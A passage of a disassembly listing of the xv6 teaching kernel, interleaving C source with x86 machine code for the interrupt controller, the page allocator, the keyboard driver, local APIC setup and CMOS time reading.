<ioapicinit+0x70> ioapicwrite(REG_TABLE+2*i+1, 0); } } 8010241f: 8d 65 f8 lea -0x8(%ebp),%esp 80102422: 5b pop %ebx 80102423: 5e pop %esi 80102424: 5d pop %ebp 80102425: c3 ret 80102426: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010242d: 8d 76 00 lea 0x0(%esi),%esi 80102430 <ioapicenable>: void ioapicenable(int irq, int cpunum) { 80102430: f3 0f 1e fb endbr32 80102434: 55 push %ebp ioapic->reg = reg; 80102435: 8b 0d 34 36 11 80 mov 0x80113634,%ecx { 8010243b: 89 e5 mov %esp,%ebp 8010243d: 8b 45 08 mov 0x8(%ebp),%eax // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); 80102440: 8d 50 20 lea 0x20(%eax),%edx 80102443: 8d 44 00 10 lea 0x10(%eax,%eax,1),%eax ioapic->reg = reg; 80102447: 89 01 mov %eax,(%ecx) ioapic->data = data; 80102449: 8b 0d 34 36 11 80 mov 0x80113634,%ecx ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 8010244f: 83 c0 01 add $0x1,%eax ioapic->data = data; 80102452: 89 51 10 mov %edx,0x10(%ecx) ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 80102455: 8b 55 0c mov 0xc(%ebp),%edx ioapic->reg = reg; 80102458: 89 01 mov %eax,(%ecx) ioapic->data = data; 8010245a: a1 34 36 11 80 mov 0x80113634,%eax ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 8010245f: c1 e2 18 shl $0x18,%edx ioapic->data = data; 80102462: 89 50 10 mov %edx,0x10(%eax) } 80102465: 5d pop %ebp 80102466: c3 ret 80102467: 66 90 xchg %ax,%ax 80102469: 66 90 xchg %ax,%ax 8010246b: 66 90 xchg %ax,%ax 8010246d: 66 90 xchg %ax,%ax 8010246f: 90 nop 80102470 <kfree>: // which normally should have been returned by a // call to kalloc(). (The exception is when // initializing the allocator; see kinit above.) void kfree(char *v) { 80102470: f3 0f 1e fb endbr32 80102474: 55 push %ebp 80102475: 89 e5 mov %esp,%ebp 80102477: 53 push %ebx 80102478: 83 ec 04 sub $0x4,%esp 8010247b: 8b 5d 08 mov 0x8(%ebp),%ebx struct run *r; if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP) 8010247e: f7 c3 ff 0f 00 00 test $0xfff,%ebx 80102484: 75 7a jne 80102500 <kfree+0x90> 80102486: 81 fb c8 77 11 80 cmp $0x801177c8,%ebx 8010248c: 72 72 jb 80102500 <kfree+0x90> 8010248e: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80102494: 3d ff ff ff 0d cmp $0xdffffff,%eax 80102499: 77 65 ja 80102500 <kfree+0x90> panic("kfree"); // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); 8010249b: 83 ec 04 sub $0x4,%esp 8010249e: 68 00 10 00 00 push $0x1000 801024a3: 6a 01 push $0x1 801024a5: 53 push %ebx 801024a6: e8 a5 27 00 00 call 80104c50 <memset> if(kmem.use_lock) 801024ab: 8b 15 74 36 11 80 mov 0x80113674,%edx 801024b1: 83 c4 10 add $0x10,%esp 801024b4: 85 d2 test %edx,%edx 801024b6: 75 20 jne 801024d8 <kfree+0x68> acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; 801024b8: a1 78 36 11 80 mov 0x80113678,%eax 801024bd: 89 03 mov %eax,(%ebx) kmem.freelist = r; if(kmem.use_lock) 801024bf: a1 74 36 11 80 mov 0x80113674,%eax kmem.freelist = r; 801024c4: 89 1d 78 36 11 80 mov %ebx,0x80113678 if(kmem.use_lock) 801024ca: 85 c0 test %eax,%eax 801024cc: 75 22 jne 801024f0 <kfree+0x80> release(&kmem.lock); } 801024ce: 8b 5d fc mov -0x4(%ebp),%ebx 801024d1: c9 leave 801024d2: c3 ret 801024d3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801024d7: 90 nop acquire(&kmem.lock); 801024d8: 83 ec 0c sub $0xc,%esp 801024db: 68 40 36 11 80 push $0x80113640 801024e0: e8 5b 26 00 00 call 80104b40 <acquire> 801024e5: 83 c4 10 add $0x10,%esp 801024e8: eb ce jmp 801024b8 <kfree+0x48> 801024ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi release(&kmem.lock); 801024f0: c7 45 08 40 36 11 80 movl $0x80113640,0x8(%ebp) } 801024f7: 8b 5d fc mov -0x4(%ebp),%ebx 801024fa: c9 leave release(&kmem.lock); 801024fb: e9 00 27 00 00 jmp 80104c00 <release> panic("kfree"); 80102500: 83 ec 0c sub $0xc,%esp 80102503: 68 46 7a 10 80 push $0x80107a46 80102508: e8 83 de ff ff call 80100390 <panic> 8010250d: 8d 76 00 lea 0x0(%esi),%esi 80102510 <freerange>: { 80102510: f3 0f 1e fb endbr32 80102514: 55 push %ebp 80102515: 89 e5 mov %esp,%ebp 80102517: 56 push %esi p = (char*)PGROUNDUP((uint)vstart); 80102518: 8b 45 08 mov 0x8(%ebp),%eax { 8010251b: 8b 75 0c mov 0xc(%ebp),%esi 8010251e: 53 push %ebx p = (char*)PGROUNDUP((uint)vstart); 8010251f: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80102525: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010252b: 81 c3 00 10 00 00 add $0x1000,%ebx 80102531: 39 de cmp %ebx,%esi 80102533: 72 1f jb 80102554 <freerange+0x44> 80102535: 8d 76 00 lea 0x0(%esi),%esi kfree(p); 80102538: 83 ec 0c sub $0xc,%esp 8010253b: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102541: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 80102547: 50 push %eax 80102548: e8 23 ff ff ff call 80102470 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010254d: 83 c4 10 add $0x10,%esp 80102550: 39 f3 cmp %esi,%ebx 80102552: 76 e4 jbe 80102538 <freerange+0x28> } 80102554: 8d 65 f8 lea -0x8(%ebp),%esp 80102557: 5b pop %ebx 80102558: 5e pop %esi 80102559: 5d pop %ebp 8010255a: c3 ret 8010255b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010255f: 90 nop 80102560 <kinit1>: { 80102560: f3 0f 1e fb endbr32 80102564: 55 push %ebp 80102565: 89 e5 mov %esp,%ebp 80102567: 56 push %esi 80102568: 53 push %ebx 80102569: 8b 75 0c mov 0xc(%ebp),%esi initlock(&kmem.lock, "kmem"); 8010256c: 83 ec 08 sub $0x8,%esp 8010256f: 68 4c 7a 10 80 push $0x80107a4c 80102574: 68 40 36 11 80 push $0x80113640 80102579: e8 42 24 00 00 call 801049c0 <initlock> p = (char*)PGROUNDUP((uint)vstart); 8010257e: 8b 45 08 mov 0x8(%ebp),%eax for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102581: 83 c4 10 add $0x10,%esp kmem.use_lock = 0; 80102584: c7 05 74 36 11 80 00 movl $0x0,0x80113674 8010258b: 00 00 00 p = (char*)PGROUNDUP((uint)vstart); 8010258e: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80102594: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010259a: 81 c3 00 10 00 00 add $0x1000,%ebx 801025a0: 39 de cmp %ebx,%esi 801025a2: 72 20 jb 801025c4 <kinit1+0x64> 801025a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi kfree(p); 801025a8: 83 ec 0c sub $0xc,%esp 801025ab: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801025b1: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 801025b7: 50 push %eax 801025b8: e8 b3 fe ff ff call 80102470 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801025bd: 83 c4 10 add $0x10,%esp 801025c0: 39 de cmp %ebx,%esi 801025c2: 73 e4 jae 801025a8 <kinit1+0x48> } 801025c4: 8d 65 f8 lea -0x8(%ebp),%esp 801025c7: 5b pop %ebx 801025c8: 5e pop %esi 801025c9: 5d pop %ebp 801025ca: c3 ret 801025cb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801025cf: 90 nop 801025d0 <kinit2>: { 801025d0: f3 0f 1e fb endbr32 801025d4: 55 push %ebp 801025d5: 89 e5 mov %esp,%ebp 801025d7: 56 push %esi p = (char*)PGROUNDUP((uint)vstart); 801025d8: 8b 45 08 mov 0x8(%ebp),%eax { 801025db: 8b 75 0c mov 0xc(%ebp),%esi 801025de: 53 push %ebx p = (char*)PGROUNDUP((uint)vstart); 801025df: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 801025e5: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801025eb: 81 c3 00 10 00 00 add $0x1000,%ebx 801025f1: 39 de cmp %ebx,%esi 801025f3: 72 1f jb 80102614 <kinit2+0x44> 801025f5: 8d 76 00 lea 0x0(%esi),%esi kfree(p); 801025f8: 83 ec 0c sub $0xc,%esp 801025fb: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102601: 81 c3 00 10 00 00 add $0x1000,%ebx kfree(p); 80102607: 50 push %eax 80102608: e8 63 fe ff ff call 80102470 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010260d: 83 c4 10 add $0x10,%esp 80102610: 39 de cmp %ebx,%esi 80102612: 73 e4 jae 801025f8 <kinit2+0x28> kmem.use_lock = 1; 80102614: c7 05 74 36 11 80 01 movl $0x1,0x80113674 8010261b: 00 00 00 } 8010261e: 8d 65 f8 lea -0x8(%ebp),%esp 80102621: 5b pop %ebx 80102622: 5e pop %esi 80102623: 5d pop %ebp 80102624: c3 ret 80102625: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010262c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102630 <kalloc>: // Allocate one 4096-byte page of physical memory. // Returns a pointer that the kernel can use. // Returns 0 if the memory cannot be allocated. char* kalloc(void) { 80102630: f3 0f 1e fb endbr32 struct run *r; if(kmem.use_lock) 80102634: a1 74 36 11 80 mov 0x80113674,%eax 80102639: 85 c0 test %eax,%eax 8010263b: 75 1b jne 80102658 <kalloc+0x28> acquire(&kmem.lock); r = kmem.freelist; 8010263d: a1 78 36 11 80 mov 0x80113678,%eax if(r) 80102642: 85 c0 test %eax,%eax 80102644: 74 0a je 80102650 <kalloc+0x20> kmem.freelist = r->next; 80102646: 8b 10 mov (%eax),%edx 80102648: 89 15 78 36 11 80 mov %edx,0x80113678 if(kmem.use_lock) 8010264e: c3 ret 8010264f: 90 nop release(&kmem.lock); return (char*)r; } 80102650: c3 ret 80102651: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi { 80102658: 55 push %ebp 80102659: 89 e5 mov %esp,%ebp 8010265b: 83 ec 24 sub $0x24,%esp acquire(&kmem.lock); 8010265e: 68 40 36 11 80 push $0x80113640 80102663: e8 d8 24 00 00 call 80104b40 <acquire> r = kmem.freelist; 80102668: a1 78 36 11 80 mov 0x80113678,%eax if(r) 8010266d: 8b 15 74 36 11 80 mov 0x80113674,%edx 80102673: 83 c4 10 add $0x10,%esp 80102676: 85 c0 test %eax,%eax 80102678: 74 08 je 80102682 <kalloc+0x52> kmem.freelist = r->next; 8010267a: 8b 08 mov (%eax),%ecx 8010267c: 89 0d 78 36 11 80 mov %ecx,0x80113678 if(kmem.use_lock) 80102682: 85 d2 test %edx,%edx 80102684: 74 16 je 8010269c <kalloc+0x6c> release(&kmem.lock); 80102686: 83 ec 0c sub $0xc,%esp 80102689: 89 45 f4 mov %eax,-0xc(%ebp) 8010268c: 68 40 36 11 80 push $0x80113640 80102691: e8 6a 25 00 00 call 80104c00 <release> return (char*)r; 80102696: 8b 45 f4 mov -0xc(%ebp),%eax release(&kmem.lock); 80102699: 83 c4 10 add $0x10,%esp } 8010269c: c9 leave 8010269d: c3 ret 8010269e: 66 90 xchg %ax,%ax 801026a0 <kbdgetc>: #include "defs.h" #include "kbd.h" int kbdgetc(void) { 801026a0: f3 0f 1e fb endbr32 asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801026a4: ba 64 00 00 00 mov $0x64,%edx 801026a9: ec in (%dx),%al normalmap, shiftmap, ctlmap, ctlmap }; uint st, data, c; st = inb(KBSTATP); if((st & KBS_DIB) == 0) 801026aa: a8 01 test $0x1,%al 801026ac: 0f 84 be 00 00 00 je 80102770 <kbdgetc+0xd0> { 801026b2: 55 push %ebp 801026b3: ba 60 00 00 00 mov $0x60,%edx 801026b8: 89 e5 mov %esp,%ebp 801026ba: 53 push %ebx 801026bb: ec in (%dx),%al return data; 801026bc: 8b 1d b4 b5 10 80 mov 0x8010b5b4,%ebx return -1; data = inb(KBDATAP); 801026c2: 0f b6 d0 movzbl %al,%edx if(data == 0xE0){ 801026c5: 3c e0 cmp $0xe0,%al 801026c7: 74 57 je 80102720 <kbdgetc+0x80> shift |= E0ESC; return 0; } else if(data & 0x80){ 801026c9: 89 d9 mov %ebx,%ecx 801026cb: 83 e1 40 and $0x40,%ecx 801026ce: 84 c0 test %al,%al 801026d0: 78 5e js 80102730 <kbdgetc+0x90> // Key released data = (shift & E0ESC ? data : data & 0x7F); shift &= ~(shiftcode[data] | E0ESC); return 0; } else if(shift & E0ESC){ 801026d2: 85 c9 test %ecx,%ecx 801026d4: 74 09 je 801026df <kbdgetc+0x3f> // Last character was an E0 escape; or with 0x80 data |= 0x80; 801026d6: 83 c8 80 or $0xffffff80,%eax shift &= ~E0ESC; 801026d9: 83 e3 bf and $0xffffffbf,%ebx data |= 0x80; 801026dc: 0f b6 d0 movzbl %al,%edx } shift |= shiftcode[data]; 801026df: 0f b6 8a 80 7b 10 80 movzbl -0x7fef8480(%edx),%ecx shift ^= togglecode[data]; 801026e6: 0f b6 82 80 7a 10 80 movzbl -0x7fef8580(%edx),%eax shift |= shiftcode[data]; 801026ed: 09 d9 or %ebx,%ecx shift ^= togglecode[data]; 801026ef: 31 c1 xor %eax,%ecx c = charcode[shift & (CTL | SHIFT)][data]; 801026f1: 89 c8 mov %ecx,%eax shift ^= togglecode[data]; 801026f3: 89 0d b4 b5 10 80 mov %ecx,0x8010b5b4 c = charcode[shift & (CTL | SHIFT)][data]; 801026f9: 83 e0 03 and $0x3,%eax if(shift & CAPSLOCK){ 801026fc: 83 e1 08 and $0x8,%ecx c = charcode[shift & (CTL | SHIFT)][data]; 801026ff: 8b 04 85 60 7a 10 80 mov -0x7fef85a0(,%eax,4),%eax 80102706: 0f b6 04 10 movzbl (%eax,%edx,1),%eax if(shift & CAPSLOCK){ 8010270a: 74 0b je 80102717 <kbdgetc+0x77> if('a' <= c && c <= 'z') 8010270c: 8d 50 9f lea -0x61(%eax),%edx 8010270f: 83 fa 19 cmp $0x19,%edx 80102712: 77 44 ja 80102758 <kbdgetc+0xb8> c += 'A' - 'a'; 80102714: 83 e8 20 sub $0x20,%eax else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 80102717: 5b pop %ebx 80102718: 5d pop %ebp 80102719: c3 ret 8010271a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi shift |= E0ESC; 80102720: 83 cb 40 or $0x40,%ebx return 0; 80102723: 31 c0 xor %eax,%eax shift |= E0ESC; 80102725: 89 1d b4 b5 10 80 mov %ebx,0x8010b5b4 } 8010272b: 5b pop %ebx 8010272c: 5d pop %ebp 8010272d: c3 ret 8010272e: 66 90 xchg %ax,%ax data = (shift & E0ESC ? data : data & 0x7F); 80102730: 83 e0 7f and $0x7f,%eax 80102733: 85 c9 test %ecx,%ecx 80102735: 0f 44 d0 cmove %eax,%edx return 0; 80102738: 31 c0 xor %eax,%eax shift &= ~(shiftcode[data] | E0ESC); 8010273a: 0f b6 8a 80 7b 10 80 movzbl -0x7fef8480(%edx),%ecx 80102741: 83 c9 40 or $0x40,%ecx 80102744: 0f b6 c9 movzbl %cl,%ecx 80102747: f7 d1 not %ecx 80102749: 21 d9 and %ebx,%ecx } 8010274b: 5b pop %ebx 8010274c: 5d pop %ebp shift &= ~(shiftcode[data] | E0ESC); 8010274d: 89 0d b4 b5 10 80 mov %ecx,0x8010b5b4 } 80102753: c3 ret 80102754: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi else if('A' <= c && c <= 'Z') 80102758: 8d 48 bf lea -0x41(%eax),%ecx c += 'a' - 'A'; 8010275b: 8d 50 20 lea 0x20(%eax),%edx } 8010275e: 5b pop %ebx 8010275f: 5d pop %ebp c += 'a' - 'A'; 80102760: 83 f9 1a cmp $0x1a,%ecx 80102763: 0f 42 c2 cmovb %edx,%eax } 80102766: c3 ret 80102767: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010276e: 66 90 xchg %ax,%ax return -1; 80102770: b8 ff ff ff ff mov $0xffffffff,%eax } 80102775: c3 ret 80102776: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010277d: 8d 76 00 lea 0x0(%esi),%esi 80102780 <kbdintr>: void kbdintr(void) { 80102780: f3 0f 1e fb endbr32 80102784: 55 push %ebp 80102785: 89 e5 mov %esp,%ebp 80102787: 83 ec 14 sub $0x14,%esp consoleintr(kbdgetc); 8010278a: 68 a0 26 10 80 push $0x801026a0 8010278f: e8 cc e0 ff ff call 80100860 <consoleintr> } 80102794: 83 c4 10 add $0x10,%esp 80102797: c9 leave 80102798: c3 ret 80102799: 66 90 xchg %ax,%ax 8010279b: 66 90 xchg %ax,%ax 8010279d: 66 90 xchg %ax,%ax 8010279f: 90 nop 801027a0 <lapicinit>: lapic[ID]; // wait for write to finish, by reading } void lapicinit(void) { 801027a0: f3 0f 1e fb endbr32 if(!lapic) 801027a4: a1 7c 36 11 80 mov 0x8011367c,%eax 801027a9: 85 c0 test %eax,%eax 801027ab: 0f 84 c7 00 00 00 je 80102878 <lapicinit+0xd8> lapic[index] = value; 801027b1: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax) 801027b8: 01 00 00 lapic[ID]; // wait for write to finish, by reading 801027bb: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801027be: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax) 801027c5: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801027c8: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801027cb: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax) 801027d2: 00 02 00 lapic[ID]; // wait for write to finish, by reading 801027d5: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801027d8: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax) 801027df: 96 98 00 lapic[ID]; // wait for write to finish, by reading 801027e2: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801027e5: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax) 801027ec: 00 01 00 lapic[ID]; // wait for write to finish, by reading 801027ef: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801027f2: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax) 801027f9: 00 01 00 lapic[ID]; // wait for write to finish, by reading 801027fc: 8b 50 20 mov 0x20(%eax),%edx lapicw(LINT0, MASKED); lapicw(LINT1, MASKED); // Disable performance counter overflow interrupts // on machines that provide that interrupt entry. if(((lapic[VER]>>16) & 0xFF) >= 4) 801027ff: 8b 50 30 mov 0x30(%eax),%edx 80102802: c1 ea 10 shr $0x10,%edx 80102805: 81 e2 fc 00 00 00 and $0xfc,%edx 8010280b: 75 73 jne 80102880 <lapicinit+0xe0> lapic[index] = value; 8010280d: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax) 80102814: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102817: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010281a: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 80102821: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102824: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102827: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 8010282e: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102831: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102834: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 8010283b: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010283e: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102841: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax) 80102848: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010284b: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010284e: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax) 80102855: 85 08 00 lapic[ID]; // wait for write to finish, by reading 80102858: 8b 50 20 mov 0x20(%eax),%edx 8010285b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010285f: 90 nop lapicw(EOI, 0); // Send an Init Level De-Assert to synchronise arbitration ID's. lapicw(ICRHI, 0); lapicw(ICRLO, BCAST | INIT | LEVEL); while(lapic[ICRLO] & DELIVS) 80102860: 8b 90 00 03 00 00 mov 0x300(%eax),%edx 80102866: 80 e6 10 and $0x10,%dh 80102869: 75 f5 jne 80102860 <lapicinit+0xc0> lapic[index] = value; 8010286b: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax) 80102872: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102875: 8b 40 20 mov 0x20(%eax),%eax ; // Enable interrupts on the APIC (but not on the processor). lapicw(TPR, 0); } 80102878: c3 ret 80102879: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi lapic[index] = value; 80102880: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax) 80102887: 00 01 00 lapic[ID]; // wait for write to finish, by reading 8010288a: 8b 50 20 mov 0x20(%eax),%edx } 8010288d: e9 7b ff ff ff jmp 8010280d <lapicinit+0x6d> 80102892: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102899: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801028a0 <lapicid>: int lapicid(void) { 801028a0: f3 0f 1e fb endbr32 if (!lapic) 801028a4: a1 7c 36 11 80 mov 0x8011367c,%eax 801028a9: 85 c0 test %eax,%eax 801028ab: 74 0b je 801028b8 <lapicid+0x18> return 0; return lapic[ID] >> 24; 801028ad: 8b 40 20 mov 0x20(%eax),%eax 801028b0: c1 e8 18 shr $0x18,%eax 801028b3: c3 ret 801028b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return 0; 801028b8: 31 c0 xor %eax,%eax } 801028ba: c3 ret 801028bb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801028bf: 90 nop 801028c0 <lapiceoi>: // Acknowledge interrupt. void lapiceoi(void) { 801028c0: f3 0f 1e fb endbr32 if(lapic) 801028c4: a1 7c 36 11 80 mov 0x8011367c,%eax 801028c9: 85 c0 test %eax,%eax 801028cb: 74 0d je 801028da <lapiceoi+0x1a> lapic[index] = value; 801028cd: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 801028d4: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801028d7: 8b 40 20 mov 0x20(%eax),%eax lapicw(EOI, 0); } 801028da: c3 ret 801028db: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801028df: 90 nop 801028e0 <microdelay>: // Spin for a given number of microseconds. // On real hardware would want to tune this dynamically. void microdelay(int us) { 801028e0: f3 0f 1e fb endbr32 } 801028e4: c3 ret 801028e5: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801028ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801028f0 <lapicstartap>: // Start additional processor running entry code at addr. // See Appendix B of MultiProcessor Specification. void lapicstartap(uchar apicid, uint addr) { 801028f0: f3 0f 1e fb endbr32 801028f4: 55 push %ebp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028f5: b8 0f 00 00 00 mov $0xf,%eax 801028fa: ba 70 00 00 00 mov $0x70,%edx 801028ff: 89 e5 mov %esp,%ebp 80102901: 53 push %ebx 80102902: 8b 4d 0c mov 0xc(%ebp),%ecx 80102905: 8b 5d 08 mov 0x8(%ebp),%ebx 80102908: ee out %al,(%dx) 80102909: b8 0a 00 00 00 mov $0xa,%eax 8010290e: ba 71 00 00 00 mov $0x71,%edx 80102913: ee out %al,(%dx) // and the warm reset vector (DWORD based at 40:67) to point at // the AP startup code prior to the [universal startup algorithm]." outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code outb(CMOS_PORT+1, 0x0A); wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector wrv[0] = 0; 80102914: 31 c0 xor %eax,%eax wrv[1] = addr >> 4; // "Universal startup algorithm." // Send INIT (level-triggered) interrupt to reset other CPU. lapicw(ICRHI, apicid<<24); 80102916: c1 e3 18 shl $0x18,%ebx wrv[0] = 0; 80102919: 66 a3 67 04 00 80 mov %ax,0x80000467 wrv[1] = addr >> 4; 8010291f: 89 c8 mov %ecx,%eax // when it is in the halted state due to an INIT. So the second // should be ignored, but it is part of the official Intel algorithm. // Bochs complains about the second one. Too bad for Bochs. for(i = 0; i < 2; i++){ lapicw(ICRHI, apicid<<24); lapicw(ICRLO, STARTUP | (addr>>12)); 80102921: c1 e9 0c shr $0xc,%ecx lapicw(ICRHI, apicid<<24); 80102924: 89 da mov %ebx,%edx wrv[1] = addr >> 4; 80102926: c1 e8 04 shr $0x4,%eax lapicw(ICRLO, STARTUP | (addr>>12)); 80102929: 80 cd 06 or $0x6,%ch wrv[1] = addr >> 4; 8010292c: 66 a3 69 04 00 80 mov %ax,0x80000469 lapic[index] = value; 80102932: a1 7c 36 11 80 mov 0x8011367c,%eax 80102937: 89 98 10 03 00 00 mov %ebx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 8010293d: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 80102940: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax) 80102947: c5 00 00 lapic[ID]; // wait for write to finish, by reading 8010294a: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 8010294d: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax) 80102954: 85 00 00 lapic[ID]; // wait for write to finish, by reading 80102957: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 8010295a: 89 90 10 03 00 00 mov %edx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 80102960: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 80102963: 89 88 00 03 00 00 mov %ecx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 80102969: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 8010296c: 89 90 10 03 00 00 mov %edx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 80102972: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102975: 89 88 00 03 00 00 mov %ecx,0x300(%eax) microdelay(200); } } 8010297b: 5b pop %ebx lapic[ID]; // wait for write to finish, by reading 8010297c: 8b 40 20 mov 0x20(%eax),%eax } 8010297f: 5d pop %ebp 80102980: c3 ret 80102981: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102988: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010298f: 90 nop 80102990 <cmostime>: } // qemu seems to use 24-hour GWT and the values are BCD encoded void cmostime(struct rtcdate *r) { 80102990: f3 0f 1e fb endbr32 80102994: 55 push %ebp 80102995: b8 0b 00 00 00 mov $0xb,%eax 8010299a: ba 70 00 00 00 mov $0x70,%edx 8010299f: 89 e5 mov %esp,%ebp 801029a1: 57 push %edi 801029a2: 56 push %esi 801029a3: 53 push %ebx 801029a4: 83 ec 4c sub $0x4c,%esp 801029a7: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801029a8: ba 71 00 00 00 mov $0x71,%edx 801029ad: ec in (%dx),%al struct rtcdate t1, t2; int sb, bcd; sb = cmos_read(CMOS_STATB); bcd = (sb & (1 << 2)) == 0; 801029ae: 83 e0 04 and $0x4,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801029b1: bb 70 00 00 00 mov $0x70,%ebx 801029b6: 88 45 b3 mov %al,-0x4d(%ebp) 801029b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801029c0: 31 c0 xor %eax,%eax 801029c2: 89 da mov %ebx,%edx 801029c4: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801029c5: b9 71 00 00 00 mov $0x71,%ecx 801029ca: 89 ca mov %ecx,%edx 801029cc: ec in (%dx),%al 801029cd: 88 45 b7 mov %al,-0x49(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801029d0: 89 da mov %ebx,%edx 801029d2: b8 02 00 00 00 mov $0x2,%eax 801029d7: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801029d8: 89 ca mov %ecx,%edx 801029da: ec in (%dx),%al 801029db: 88 45 b6 mov %al,-0x4a(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801029de: 89 da mov %ebx,%edx 